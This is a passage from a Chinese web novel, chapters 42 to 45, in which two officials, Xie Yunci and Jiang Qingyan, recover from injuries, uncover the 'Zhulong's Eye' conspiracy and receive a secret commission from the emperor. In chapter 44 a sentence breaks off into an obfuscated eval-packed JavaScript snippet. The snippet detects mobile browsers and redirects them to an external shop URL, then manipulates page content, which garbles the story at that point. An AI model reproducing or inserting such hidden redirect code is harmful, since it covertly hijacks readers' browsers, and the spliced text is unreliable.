“记录了五十年前发生的事,”谢云辞的声音很轻,像是怕惊扰了什么,“和那些人说的大致相同,但细节不同。当年确实有人想打开‘烛龙眠息之地’,但不是皇帝,而是一个自称‘烛龙使者’的神秘组织。他们假传圣旨,煽动当时一位亲王造反,趁乱袭击了江家和谢家,想要夺取两家世代守护的‘钥匙’。” “钥匙是什么?”江清砚追问。 “你父亲没有明说,”谢云辞摇头,“他只写道:‘钥匙非物,乃血脉相承之契。江掌生,谢掌死,阴阳合,方得开。’” 江清砚怔住了。 血脉相承之契……江掌生,谢掌死…… 他猛地看向谢云辞:“难道……” “嗯,”谢云辞点头,目光复杂,“所谓的‘钥匙’,很可能就是江谢两家血脉觉醒者结成的‘共生之契’。” 所以“烛龙之眼”才处心积虑要抓他们。不是为了用他们的血献祭,而是需要他们活着,需要他们保持“共生之契”的状态,才能打开那个地方。 “你父亲在手札最后写道,”谢云辞继续说,“江谢两家先祖曾立誓,世代守护‘烛龙眠息之地’,绝不允许任何人打开。因为那里封存着‘足以倾覆人间的力量’。五十年前,两家宁灭门,也未交出钥匙。” 江清砚的手指微微颤抖。 父母宁死守护的秘密,谢家满门血案的根源,还有那些前赴后继的牺牲……竟然都是为了封印一个所谓的“倾覆人间的力量”。 “陛下……知道这些吗?”他问。 谢云辞点头:“手札和残图都呈给陛下了。陛下看后,沉默了很久,最后只说了一句话:‘此事到此为止,所有相关卷宗封存,任何人不得再查。’” “但那些人不会罢休,”江清砚低声说,“他们谋划了五十年,不会因为一次失败就放弃。” “我知道,”谢云辞握紧他的手,“所以我们要查,但不是明查。陛下封存卷宗,是怕打草惊蛇,也怕朝中还有‘烛龙之眼’的眼线。”< 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窗外夜色渐深,星辰渐密。 药炉上的药罐咕嘟咕嘟响起来,药香更浓了。谢云辞起身,用布垫着手取下药罐,将浓黑的药汁倒进碗里。 “该喝药了。”他将药碗端到床边。 江清砚看着那碗散发着苦味的药汁,眉头几不可察地皱了一下。谢云辞捕捉到这个细微的表情,眼底掠过一丝笑意。 “太医开的方子,对你的心脉有好处,”他在床边坐下,舀起一勺药,轻轻吹凉,“我尝过了,不算太苦。” 江清砚看着他自然而然的动作,耳根有些发热:“我自己来……” “你手还抖着,”谢云辞不容拒绝地将勺子递到他唇边,“别逞强。” 江清砚沉默片刻,终究是张开了嘴。 药确实苦,但比想象中好一些,显然是熬煮时加了甘草调和。他一勺一勺地喝完,谢云辞又递来一颗蜜饯。 “含着,去去苦味。” 江清砚接过蜜饯含在嘴里,甜味在舌尖化开,冲淡了药的苦涩。他抬眼看向谢云辞,发现对方正专注地看着自己,眼神温柔得像是能将人溺毙。 “怎么了?”江清砚有些不自在。 “没什么,”谢云辞摇头,伸手替他掖了掖被角,“只是觉得……你能醒过来,真好。” 这句话说得很轻,却重重砸在江清砚心上。 他想起溶洞里谢云辞浑身是血却执刀而立的样子,想起密道中那双紧紧握住自己的手,想起醒来时看到他憔悴不堪却执意守候的模样。 这个人,为了他,可以不要命。 “云辞。”江清砚忽然开口。 “嗯?” “谢谢你。” 谢云辞笑了,那笑容褪去了所有的锋利和冷硬,只剩下纯粹的温柔:“该说谢谢的是我。你救我的次数,我都数不清了。” “那以后就不数了,”江清砚也微微扬起嘴角,“反正……还会很多次。” 谢云辞怔了怔,随即笑出声来。笑声低低的,在安静的房间里回荡,带着劫后余生的释然和某种说不清道不明的暖意。 “好,”他点头,“不数了。” 反正余生还长,他们还会一起经历很多事,救彼此很多次。 药效开始发作,江清砚的眼皮又开始沉重。谢云辞扶他躺好,盖好被子。 “睡吧,”谢云辞的声音像催眠曲,“我在这里。” 江清砚确实累了,但他还是强撑着最后一丝清醒,低声说:“你也去休息。” “我看着你睡着就去。” 江清砚还想说什么,但倦意如潮水般涌来,他终究是抵不过,缓缓闭上了眼睛。 呼吸渐渐均匀绵长。 谢云辞坐在床边,看着江清砚沉睡的侧脸,看了很久很久。月光透过窗纱,在他脸上投下柔和的光晕,长睫在眼下投出淡淡的阴影,安静得像是易碎的瓷器。 但谢云辞知道,这个人骨子里有多坚韧。 他伸手,指尖轻轻拂过江清砚额前的碎发,动作轻柔得如同触碰稀世珍宝。 窗外传来更鼓声,三更天了。 谢云辞却没有起身。他就这样坐着,守着,仿佛要守到地老天荒。 夜色深沉,万籁俱寂。 但在这寂静之下,暗流仍在涌动。京城某处深宅大院里,有人对着烛火,看着手中一枚刻有眼睛图腾的玉佩,低声自语: “江谢两家的血脉,终于又聚在一起了……‘钥匙’已经就位,‘门’也该打开了。” 烛火跳跃,映出一张模糊而苍老的脸。 那双眼睛里,有火焰在燃烧。 43. 第 43 章 第四十三章尘埃落定 晨曦微露时,谢府西厢房的门被轻轻推开。 谢云辞端着药碗和清粥走进来,脚步放得极轻。他肩头的伤经过一夜休养和江清砚的生机梳理,已经好了大半,脸色也比昨日红润了些许。 床榻上,江清砚还在沉睡。晨光透过窗纱,在他脸上镀了一层柔和的金边。他睡得很沉,浓密的长睫在眼下投出浅浅的阴影,呼吸均匀绵长。 谢云辞将托盘放在桌上,坐到床边,没有立刻叫醒他,只是静静地看着。 这三日,他几乎没有合眼。江清砚每一次呼吸的变化,每一次无意识的蹙眉,都牵动着他的心。太医说能醒就是万幸,可人真的醒了,他才发现自己有多害怕——害怕那双清澈的眼睛再也睁不开,害怕那个温润的声音再也听不见。 现在,人好好地躺在这里,呼吸平稳,脉搏有力。谢云辞悬着的心终于落回实处,随之而来的是排山倒海的疲惫。他靠着床柱,闭上眼睛,几乎要睡过去。 就在这时,江清砚的睫毛颤动了一下,缓缓睁开了眼睛。 他的目光先是茫然地落在帐顶,然后慢慢聚焦,转向谢云辞。当看到谢云辞靠着床柱、眼下乌青的憔悴模样时,他眼中闪过一丝心疼。 “……你没休息?”江清砚开口,声音比昨日清亮了些。 谢云辞立刻清醒过来,坐直身体:“醒了?感觉怎么样?” “好多了,”江清砚试图坐起,谢云辞连忙扶他,在他背后垫上软枕,“你呢?伤口还疼吗?” “不疼了。”谢云辞说得轻描淡写,起身去端药碗,“先把药喝了,再吃点粥。太医说你的脾胃虚,不能空腹用药。” 江清砚接过药碗,这一次没有让谢云辞喂,自己慢慢喝完,眉头都没皱一下。谢云辞看在眼里,知道他是怕自己担心,心里又是一暖。 喝完药,江清砚接过清粥,小口小口地吃着,忽然问:“外面……怎么样了?” 他知道谢云辞虽然请了假,但绝不会真的什么都不管。 谢云辞在他床边坐下,神色认真起来:“赵元案结了。刑部和大理寺联名上奏,定性为‘赵元因丧子之痛,心怀怨怼,勾结邪教余孽,构陷朝廷命官,扰乱科场,罪证确凿’。赵元已死,不再追究。他供出的那些官员罪证,陛下已命暗卫秘密核查,属实的会另行处置,但不会与本案并论。” 江清砚手中的勺子顿了顿:“那些官员……” “陛下有陛下的考量,”谢云辞低声道,“一口气处置十几位官员,会引起朝局动荡。暗地里查实了,该贬的贬,该调的调,不动声色地清理掉,比大张旗鼓地审问更稳妥。” 江清砚沉默片刻,点了点头。他明白朝堂之事不是非黑即白,有时候妥协和迂回是必要的。 “那……科举舞弊案呢?”他问,“我的罪名……” “已经洗清了,”谢云辞眼中闪过一丝冷意,“陛下当朝下旨,恢复你的功名,擢升为刑部郎中,正五品。至于陷害你的人——那个邻号考生招了,是受人指使,给了他三百两银子。指使他的人已经抓到,是吏部一个主事,说是看不惯你一个寒门子弟抢了会元的风头。” 这个理由,江清砚自然不信。但他也知道,再查下去,可能又会牵扯出别的事。陛下选择到此为止,他也能理解。 “陛下还赐了你一块匾额,”谢云辞语气轻松了些,“‘清正明鉴’,已经派人送到你……呃,送到这里来了。等你身体好了,再正式谢恩。” 江清砚看向他:“送到这里?” 谢云辞摸了摸鼻子,难得有些窘迫:“陛下知道你现在住在我这儿。他说……‘同命双星’,住在一起也合适。” 江清砚耳根微热,低下头继续喝粥,没接话。 房间里一时安静下来,只有勺碗轻碰的细微声响。 吃完粥,江清砚感觉精神好了许多。他看着窗外透进来的晨光,忽然道:“我想出去走走。” 谢云辞立刻皱眉:“太医说你需要静养——” “就在院子里,”江清砚打断他,“躺了几天,骨头都僵了。晒晒太阳,对恢复也有好处。” 他的眼神清澈而坚持,谢云辞知道拗不过他,只好妥协:“那就一刻钟。披件外袍,别着凉。” 初秋的清晨,空气微凉,带着草木的清新气息。 谢府的院子不大,但布置得很雅致。青石铺地,角落种着几丛翠竹,竹叶上还挂着露珠。院中央有一棵老槐树,树荫下放着石桌石凳。 谢云辞扶着江清砚在石凳上坐下,又转身回屋取了薄毯,盖在他膝上。 “我又不是瓷做的。”江清砚无奈。 “你现在比瓷还脆弱。”谢云辞在他对面坐下,不容置疑。 晨光透过槐树的枝叶洒下,在两人身上投下斑驳的光影。江清砚深吸一口气,感觉胸口的闷痛都缓解了不少。 “那晚在慈恩寺,”他忽然开口,“你进密道后,发生了什么?” 谢云辞神色凝重起来:“密道里布满了机关。箭弩、陷坑、毒烟……还有迷阵。我一路闯过来,杀了十七个人,到最后几乎是凭本能挥刀。” 他说得轻描淡写,但江清砚能想象出其中的凶险。那些黑衣人都是训练有素的死士,谢云辞单枪匹马闯进去,能活着出来已是奇迹。 “那些人……都是‘烛龙之眼’的?”江清砚问。 “应该是,”谢云辞点头,“他们身手诡异,配合默契,不像普通的江湖匪类。而且……”他顿了顿,“他们似乎并不想立刻杀我,而是一路消耗我的体力,想活捉。” 江清砚心下了然。那些人需要活着的谢云辞,需要他们保持“共生之契”的状态。 “溶洞塌了之后,”谢云辞继续说,“陛下派了工部的人去清理,但塌方太严重,至少要一个月才能挖通。不过暗卫在慈恩寺周边又发现了几处密室,里面藏了一些典籍和信物。” “有线索吗?” “有一些,”谢云辞从怀中取出一本薄薄的册子,“这是在方丈禅房暗格里找到的。慈恩寺的方丈,三年前就‘云游’去了,一直没回来。寺里的事务都由监寺打理。而这本册子,记录了一些奇怪的账目。” 江清砚接过册子翻开。上面用蝇头小楷记录着一笔笔收支,时间跨度长达十年。收入项多是“香火钱”“布施”,但数额大得惊人;支出项则很模糊,写着“修缮”“法事”“供奉”等,同样数额巨大。 “这些账目有问题,”江清砚一眼就看出端倪,“慈恩寺虽是古刹,但香火一直不算特别鼎盛。一年能收五千两香火钱顶天了,可这上面记载的,光是去年就有三万两。” “暗卫查了京城几家大钱庄,”谢云辞说,“发现慈恩寺在过去的十年里,通过不同的化名,存入了超过三十万两白银。这些钱大部分又通过复杂的渠道流向了江南、蜀中、岭南等地。” 三十万两! 江清砚倒吸一口凉气。这绝对不是一个寺庙该有的财富。 “这些钱……是用来资助‘烛龙之眼’的?”他推测。 “很有可能,”谢云辞神色严峻,“陛下已经密令各地暗卫,顺着这些资金流向追查。但对方很谨慎,用了多层掩护,追查起来需要时间。” 江清砚合上册子,眉头紧锁:“一个能调动三十万两白银、渗透到京城古刹、甚至可能朝中也有眼线的组织……他们到底想干什么?真的只是为了打开那个‘烛龙眠息之地’?” 谢云辞沉默片刻,缓缓道:“我父亲生前,曾跟我提过一些事。他说谢家世代镇守边关,不单单是为了抵御外敌,更是为了看守一处‘禁地’。那禁地在北境极寒之处,谢家每代都要派最精锐的子弟去戍守。我十五岁那年,父亲曾带我去过一次,但那地方……我记不清了。” “记不清?”江清砚诧异。 “对,”谢云辞揉了揉太阳穴,“我只记得漫天风雪,一座巨大的冰山,还有……一种说不出的压抑感。之后我就发了三天高烧,醒来后,关于那地方的记忆变得非常模糊。父亲说,那是因为我血脉未觉醒,承受不住禁地的‘威压’。” 血脉觉醒…… 江清砚想起自己心口的青木生机。那是在父母死后,他在密室里独自摸索了三年才勉强唤醒的。按照江家典籍记载,青木生机完全觉醒时,可活死人肉白骨,但也有严苛的条件和巨大的代价。 “难道‘烛龙眠息之地’不止一处?”他推测,“北境有谢家看守的禁地,江南或许也有江家守护的地方?而‘烛龙之眼’想打开的,是其中最关键的一处?” 谢云辞眼神一凛:“有可能。如果真是这样,那他们的布局可能比我们想象的更深、更广。” 两人对视,都感到了事情的严重性。 一个谋划了五十年,财力雄厚,渗透到寺庙甚至朝堂的神秘组织,他们的目标绝不仅仅是打开一个遗迹那么简单。 “陛下知道这些吗?”江清砚问。 “我已经禀报了,”谢云辞说,“陛下听完,沉默了很久,最后只说:‘此事关乎国本,须慎之又慎。你们暗中查访,但切忌打草惊蛇。’” 江清砚明白了。陛下这是默许他们继续查,但要求他们低调行事,不能引起朝野动荡。 “你的身体还需要休养,”谢云辞看着他,“这段时间,你先安心养病。查案的事,我来。” “不行,”江清砚摇头,“‘烛龙之眼’的目标是我们两个人。你单独行动太危险。” “那你——” “我们一起,”江清砚打断他,眼神坚定,“等我能下床走动,我们就一起查。你是明面上的刀,我是暗地里的眼。互相照应,才能走得远。” 谢云辞看着他认真的样子,心中涌起一股暖流。他知道江清砚说得对,两个人在一起,确实比单打独斗更安全,也更有效率。 “好,”他 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两人又坐了一会儿,直到江清砚脸上露出倦色,谢云辞才扶他回屋休息。 刚躺下,门外传来脚步声,然后是亲卫的声音:“大人,宫里有旨,召您即刻入宫。” 谢云辞和江清砚对视一眼。 “应该是为了赵元案的后续,”谢云辞低声道,“我去去就回。你好好休息,不许下床。” 江清砚点头:“小心。” 谢云辞换上官服,匆匆离去。 房间里又安静下来。江清砚躺在床上,却没了睡意。他闭上眼睛,沉入内视,开始有意识地引导青木生机修复受损的心脉。 这一次的伤,比以往任何一次都重。强行施展反向“摄魂引”对精神的损耗,不亚于心疾发作对身体的摧残。他能感觉到,心脉上多了几道细微的裂痕,那是透支生机留下的暗伤。 但他并不后悔。 如果再选一次,他依然会那样做。因为只有那样,才能给谢云辞制造机会,才能两个人一起活着出来。 青木生机如春雨般滋润着心脉,裂痕在缓慢愈合。江清砚能感觉到,这次受伤后,自己对青木生机的掌控似乎更精进了一分——果然,生死之间最能激发潜能。 不知过了多久,门外又传来脚步声。 江清砚以为是谢云辞回来了,睁开眼,却看到一个意料之外的人。 来人四十余岁,面容清癯,身穿青色官袍,头戴乌纱,正是刑部尚书——周文渊。 “江郎中,”周尚书站在门口,神色温和,“听闻你身体不适,本官特来探望。” 江清砚连忙想要起身:“下官惶恐——” “不必多礼,”周尚书摆摆手,走进房间,在桌边坐下,“你伤病在身,躺着就好。” 江清砚半靠在床头,心中疑惑。他与周尚书并无深交,只在金殿自辩时有过一面之缘。这位刑部主官为何亲自前来? 周尚书似乎看出了他的疑虑,笑了笑:“本官此来,一是探望,二是……有些话想与你说。” 他顿了顿,神色严肃起来:“赵元案已结,科举舞弊案也真相大白。但你可知,为何陛下会如此迅速地结案,甚至不惜压下一些线索?” 江清砚摇头。 “因为朝局不能再乱了,”周尚书压低声音,“春闱刚过,新科进士即将授官。这个时候爆出大规模的科举舞弊和官员贪腐,会让天下士子寒心,也会让朝野动荡。陛下选择快刀斩乱麻,是为了稳定。” “下官明白。”江清砚点头。 “但有些事,不是压下就能解决的,”周尚书话锋一转,“‘烛龙之眼’的存在,陛下已经知晓。这个组织渗透之深,可能超出我们的想象。所以陛下需要一把刀,一双眼睛——一把能斩断黑暗的刀,一双能看透迷雾的眼睛。” 他看着江清砚:“谢云辞是那把刀,而你,就是那双眼睛。” 江清砚心头一震。 “你在金殿上的表现,陛下很欣赏。冷静,理智,善于从细微处发现破绽。这样的人,正是刑部需要的,”周尚书缓缓道,“所以陛下擢升你为刑部郎中,不只是为了补偿,更是要你用你的能力,去查那些藏在暗处的案子。” “下官……才疏学浅,恐难当大任。”江清砚谦道。 “不必过谦,”周尚书摇头,“陛下看人很准。而且……”他意味深长地看着江清砚,“你有谢云辞。他是你最锋利的刀,也是你最坚固的盾。” 江清砚沉默了。 周尚书站起身:“好好养伤。伤好之后,来刑部报到。那里,会有你需要的东西。” 说完,他转身离去,留下江清砚一个人陷入沉思。 窗外,阳光正好。 尘埃虽已落定,但新的征程,才刚刚开始 44. 第 44 章 第四十四章御前抉择 谢云辞入宫时,已是巳时三刻。 秋日的阳光透过宫道两侧高大的梧桐树,洒下斑驳的光影。宫墙深红,琉璃瓦金黄,一切都显得庄严肃穆。但他无心欣赏,步履匆匆,脑中还在思索着皇帝突然召见的缘由。 赵元案已结,科举舞弊案也尘埃落定,按理说该赏的赏、该罚的罚,没什么需要紧急商议的。除非…… 他想到了慈恩寺,想到了那张残图,想到了“烛龙之眼”。 引路的内侍将他带到御书房外,低声道:“谢大人稍候,陛下正在与周尚书议事。” 话音刚落,御书房的门开了。刑部尚书周文渊从里面走出来,看到谢云辞,微微颔首,眼中闪过一丝意味深长的神色,却什么也没说,擦肩而过。 “谢大人,陛下宣您进去。”内侍通报。 谢云辞整理了一下衣冠,迈步而入。 御书房内,龙涎香袅袅。皇帝坐在紫檀木书案后,手中把玩着一枚白玉镇纸,神色看不出喜怒。书案上堆着几叠奏折,最上面那本摊开着,正是刑部和大理寺联名呈报的赵元案结案奏章。 “臣谢云辞,叩见陛下。”谢云辞跪地行礼。 “平身,”皇帝的声音平静,“赐座。” 内侍搬来锦凳,谢云辞谢恩坐下,腰背挺直,目光微垂,等待着皇帝开口。 皇帝没有立刻说话,而是继续把玩着那枚镇纸,目光落在谢云辞身上,像是在审视什么。良久,他才缓缓开口: “你的伤,如何了?” “谢陛下关怀,已无大碍。”谢云辞答道。 “江清砚呢?” “还在休养。太医说需要静养月余。” 皇帝点点头,将镇纸放下,拿起那本奏折:“赵元案,刑部和大理寺呈报结案。你怎么看?” 这个问题很微妙。谢云辞知道,皇帝问的不是案子本身,而是结案的方式和结果。 他斟酌着措辞:“赵元罪证确凿,死有余辜。陛下将此事定性为‘邪教煽动、个人复仇’,既给了天下士子一个交代,又避免了朝局动荡,是稳妥之举。” “稳妥?”皇帝忽然笑了,笑容里带着几分讥诮,“是啊,稳妥。一个谋划了十年,差点掀翻科举体系的大案,最后用一个‘疯子复仇’的理由结案,确实是再稳妥不过了。” 谢云辞心中一凛,不知该如何接话。 皇帝站起身,走到窗边,背对着他:“谢云辞,你知道朕为什么要这么做吗?” “臣愚钝。” “因为朕不能让他们得逞,”皇帝的声音冷了下来,“‘他们’,你懂朕指的是谁。” 谢云辞屏住呼吸。 “慈恩寺的事,周文渊已经禀报了,”皇帝转过身,目光锐利,“‘烛龙之眼’,前朝余孽,谋划了五十年,渗透到寺庙、朝堂,甚至可能连朕的后宫都有他们的眼线。他们想要什么?一个遗迹?一件宝物?还是……这大周的江山?” 最后一句话,字字如冰。 谢云辞立刻起身跪下:“臣誓死守护大周!” “朕知道,”皇帝走回书案后,“所以朕需要你,也需要江清砚。但朕不能明着用你们,因为‘他们’在暗处看着。一旦你们锋芒太露,就会成为靶子。” 他顿了顿,继续道:“所以朕把赵元案压下去,把科举舞弊案轻描淡写地带过,甚至把慈恩寺的事也归为‘邪教作乱’。这一切,都是为了麻痹‘他们’,让他们以为朝廷没有察觉,让他们继续潜伏,露出更多马脚。” 谢云辞明白了。 陛下不是不知道真相,也不是不想追究,而是在下一盘更大的棋。用表面的妥协和退让,换取暗中布局的时间和空间。 “但朕不能一直等,”皇帝话锋一转,“‘烛龙之眼’渗透太深,必须尽早清除。所以朕需要一把刀,一把能斩断这些毒瘤的刀。” 他看向谢云辞:“这把刀,就是你。” 谢云辞抬头,眼中一片坚定:“臣愿为陛下手中利刃,斩尽奸邪!” “好!”皇帝眼中闪过一丝赞赏,“但单有刀还不够,还需要眼睛——一双能看透迷雾、发现蛛丝马迹的眼睛。江清砚,就是这双眼睛。” 谢云辞的心提了起来。他知道皇帝接下来要说什么。 “朕要你们二人,一明一暗,彻查‘烛龙之眼’,”皇帝的声音低沉而有力,“谢云辞,你继续执掌六扇门,明面上查案,吸引他们的注意。江清砚,朕已擢升他为刑部郎中,负责案卷复核和疑案重查。你们一人在明,一人在暗,互相配合,务必将这个毒瘤连根拔起!” “臣遵旨!”谢云辞的声音铿锵有力。 皇帝看着他,神色忽然缓和下来:“但你们要记住,此事凶险万分。‘烛龙之眼’能存在五十年而不灭,其底蕴和手段绝非寻常。你们行事必须慎之又慎,保全自身为上。” “谢陛下关怀。” 皇帝点点头,从书案抽屉里取出一枚令牌,递给谢云辞:“这是‘龙影令’,可调动朕的暗卫,必要时候,也可调遣地方驻军。但非到万不得已,不得动用。明白吗?” 谢云辞双手接过令牌。这令牌通体玄黑,非金非铁,正面雕刻着一条盘旋的龙,背面是一个“影”字。入手沉重冰凉,代表着无上的权力,也代表着沉重的责任。 “臣明白。”他郑重地将令牌收入怀中。 皇帝看着他,忽然问了一个意料之外的问题:“谢云辞,你对江清砚,是什么心思?” 谢云辞浑身一震,猛地抬头。 皇帝的眼神平静,却仿佛能看透人心:“不必隐瞒。那日金銮殿上,你为他挡刀;慈恩寺中,你孤身闯阵;他昏迷三日,你不眠不休守候。这一切,朕都看在眼里。” 谢云辞的喉咙发干,心脏狂跳。他张了张嘴,却不知该如何回答。 承认吗?那是欺君之罪。 否认吗?他做不到。 最终,他垂下头,一字一句道:“臣……心悦于他。” 说完这句话,他闭上了眼睛,等待着雷霆之怒。 但预想中的怒火并没有到来。 皇帝沉默了很久,久到谢云辞几乎要以为时间停滞了。终于,他听到一声轻轻的叹息。 “江谢两家的缘分,果然是天定的。” 谢云辞愕然抬头。 皇帝的眼神有些悠远,像是想起了很久以前的事:“五十年前,江家家主和谢家那位将军,也是如你们这般……生死与共。只可惜,最后……” 他没有说完,但谢云辞已经明白了。 原来江谢两家,早有这样的渊源。 “朕不反对,”皇帝缓缓道,“这世道艰难,能得一知心人相伴,是幸事。但你们要记住,你们的身份,你们的责任。‘烛龙之眼’不会放过你们,朝中那些迂腐的老臣也不会理解你们。前路艰难,你们要互相扶持,更要小心谨慎。” 谢云辞的眼眶忽然有些发热。他重重叩首:“谢陛下成全!” “起来吧,”皇帝摆摆手,“这些话,出了御书房,朕不会再认。你明白吗?” “臣明白。” 皇帝重新坐回龙椅,神色恢复了帝王的威严:“还有一件事。江清砚的身体,太医说需要一味‘龙血芝’做药引,才能彻底根治心疾。此物生长在西南瘴疠之地,极为稀有。朕已经命太医院去寻了,但需要时间。” 谢云辞的心揪了起来:“陛下的意思是……” “在你查案期间,务必保他周全,”皇帝盯着他,“他的青木生机,是克制‘烛龙之眼’某些邪术的关键。他若有事,不仅是你个人的损失,更是大周的损失。” “臣……定护他周全!”谢云辞的声音斩钉截铁。 皇帝点点头,挥手示意他退下。 谢云辞行礼退出御书房,站在宫道上,深吸了一口气。 秋日的阳光温暖,但他却感到肩头的担子重如千钧。 陛下将如此重任托付给他们,是信任,也是考验。而“烛龙之眼”这个对手,比他们想象的更强大,更隐蔽。 但…… 他摸了摸怀中的龙影令,又想起江清砚清澈坚定的眼睛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863520|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中忽然涌起一股力量。 无论前路多么艰难,他们都会一起走下去。 回到谢府时,已是午后。 谢云辞没有立刻去见江清砚,而是先回书房,写了几封密信,唤来最信任的亲卫:“即刻送出,务必亲手交到收信人手中。” “是!”亲卫领命而去。 这些信,是发给他在各地安插的眼线和旧部的。既然要查“烛龙之眼”,就必须动用所有的资源。 做完这些,他才走向西厢房。 推开门,江清砚正靠在床头看书。阳光透过窗棂洒在他身上,长睫在眼下投出淡淡的阴影,神情专注而宁静。 听到动静,他抬起头,看到谢云辞,眼中漾开一丝笑意:“回来了?” “嗯,”谢云辞走到床边坐下,很自然地握住他的手,“周尚书来过了?” 江清砚点头,将周尚书的话大致说了一遍。 谢云辞听完,沉默片刻,将御书房的事也告诉了他——除了皇帝问及他们关系的那段。这件事,他想等江清砚身体好了,再找个合适的时机说。 江清砚听完,神色凝重起来:“所以陛下是要我们明修栈道,暗度陈仓?” “可以这么说,”谢云辞点头,“我在明处吸引注意,你在暗处查找线索。但我们不能分开行动,必须互相照应。” 江清砚沉思着:“我在刑部负责案卷复核,这个位置确实很适合查案。历年积案、悬案中,或许就藏着‘烛龙之眼’的蛛丝马迹。” “没错,”谢云辞眼中闪过一丝锐利,“而且刑部掌管天下刑名,各地呈报的奇案、怪案,都要经过刑部复核。如果‘烛龙之眼’在各地有活动,必然会留下痕迹。” 两人对视一眼,都看到了彼此眼中的决心。 “不过在那之前,”谢云辞话锋一转,“你要先把身体养好。太医开的药,要按时喝;该休息的时候,不许再熬夜看书。” 江清砚无奈:“你比太医还啰嗦。” “因为太医不会像我这样担心。”谢云辞说得理所当然。 江清砚耳根微热,移开视线,却也没有反驳。 窗外的阳光渐渐西斜,将房间染成温暖的橙黄色。两人就这样静静坐着,手依然握在一起,谁也没有松开。 “云辞,”江清砚忽然开口,“如果……如果我们查到最后,发现‘烛龙之眼’的势力,比我们想象的更庞大,甚至可能牵扯到……” 他没有说完,但谢云辞明白他的意思。 如果牵扯到皇室,牵扯到那些高高在上的存在,他们该怎么办? 谢云辞握紧他的手,声音平静却坚定:“那就查到底。无论牵扯到谁,无论面对什么,我们都一起面对。陛下既然将龙影令交给我,就是给了我们最大的支持。” 江清砚看着他眼中不容动摇的决心,心中的不安渐渐平息。 是啊,他们不是孤军奋战。陛下在支持他们,周尚书在支持他们,还有那些隐藏在暗处的、渴望清明朝局的力量,都在支持他们。 “好,”他点头,“那就查到底。” 夕阳彻底沉入地平线,暮色四合。 谢云辞起身点灯,暖黄的光晕在房间里铺开。他回头看向江清砚,发现对方正看着自己,眼神温柔而信赖。 那一瞬间,所有的疲惫和压力都仿佛消失了。 无论前路有多少艰难险阻,只要这个人还在身边,他就有无穷的勇气。 “饿了吗?”谢云辞问,“我让厨房炖了人参鸡汤,对你的身体有好处。” “有点。”江清砚老实承认。 “等着,我去端来。” 谢云辞转身出门,脚步声渐渐远去。 江清砚靠在床头,看着那盏温暖的灯火,嘴角不自觉地扬起。 窗外,秋夜渐深,星辰开始闪烁。 但屋内,暖意正浓。 他们选择的这条路,注定不会平坦。但既然选择了,就会一起走下去。 直到真相大白,直到水落石出。 直到……尘埃彻底落定的那一天。 45. 第 45 章 第四十五章府邸养伤 晨光熹微时,江清砚已经醒了。 他躺在床上,没有立刻起身,而是先沉入内视,感受体内的情况。心脉处的青木生机比昨日又壮大了一分,如同初春的幼苗,虽还纤细,却已展现出顽强的生命力。那些被“阎罗泣”侵蚀留下的暗伤,在生机的滋养下正缓慢愈合。 他睁开眼,侧过头看向窗外。秋日的天空高远澄澈,几缕云丝如白练般飘在天际。院子里传来扫洒的声音,是仆役在清扫落叶。 这里是谢府,谢云辞的府邸。 这个认知让江清砚心中涌起一种奇异的感觉。从小到大,他住过很多地方——江家老宅、密室、客栈、破庙、天牢……但没有一个地方,能让他感到如此安心。 或许是因为,这里有那个人在。 正想着,房门被轻轻推开。谢云辞端着一个托盘走进来,托盘上放着一碗药和几样清淡的早膳。他已经换上了一身墨蓝色的常服,头发用玉簪束起,神色看起来比昨日精神许多。 “醒了?”谢云辞将托盘放在桌上,走到床边,“感觉如何?” “好多了,”江清砚撑着想坐起来,谢云辞连忙扶他,动作熟练自然,“你不用上值?” “陛下准了我半个月的假,”谢云辞在他背后垫好软枕,“周尚书也说了,让你好好休养,刑部的事不急。” 江清砚点点头,接过谢云辞递来的药碗。药还是苦的,但他已经习惯,眉头都没皱一下就喝完了。 谢云辞递来蜜饯,江清砚摇头:“不用,苦惯了。” “……”谢云辞看着他平静的侧脸,心中涌起一股酸涩。这个人,到底经历过多少事,才能对苦痛如此习以为常? 早膳是小米粥、蒸蛋羹和几样酱菜,都是易消化、对脾胃好的食物。江清砚安静地吃着,谢云辞就坐在一旁看着,不时提醒他“慢点”“小心烫”。 “我又不是小孩子。”江清砚无奈。 “你现在比小孩子还脆弱。”谢云辞说得理直气壮。 吃完早膳,江清砚感觉精神确实好了许多。他看着窗外明媚的阳光,再次提出:“我想去院子里坐坐。” 谢云辞这次没再反对,而是拿来一件厚实的披风,仔细给他系好,又检查了一遍他脚上的棉袜是否穿好,这才扶他起身。 “我自己能走。”江清砚抗议。 “我知道,”谢云辞嘴上应着,手却没松开,“但我想扶着你。” 江清砚看了他一眼,终究没再说什么。 院子里,那棵老槐树下已经摆好了躺椅,椅子上铺着厚厚的软垫,旁边的小几上放着茶壶和几本书籍。显然是谢云辞提前准备好的。 “你倒是想得周到。”江清砚在躺椅上坐下,阳光透过枝叶洒在身上,暖洋洋的。 “你的事,我自然要上心。”谢云辞在他身边的石凳上坐下,开始沏茶。 茶是上好的龙井,水是清晨采集的露水。谢云辞的动作行云流水,显然是精于此道。江清砚看着他专注的侧脸,忽然觉得这一刻很美好——没有阴谋算计,没有生死危机,只有阳光、茶香,和眼前这个人。 “你这茶艺,倒是与你的身份不符。”江清砚轻声道。 “我母亲教的,”谢云辞将沏好的茶递给他,“她出身江南书香门第,最擅茶道和琴艺。可惜我学艺不精,只学了皮毛。” 江清砚接过茶杯,抿了一口。茶汤清澈,香气清雅,入口回甘。 “很好喝。”他说。 谢云辞笑了笑,自己也端起一杯,慢慢品着。 两人就这样安静地坐着,谁也没有说话,却丝毫不觉得尴尬。阳光、微风、落叶、茶香……一切都恰到好处。 不知过了多久,江清砚忽然开口:“你母亲……她是怎么……” 他没有问完,但谢云辞明白他的意思。 “病逝的,”谢云辞的声音很平静,“在我十岁那年。她身子一直不好,父亲常年戍边,家中只有我和她。她走的时候很安详,说唯一放心不下的就是我。” 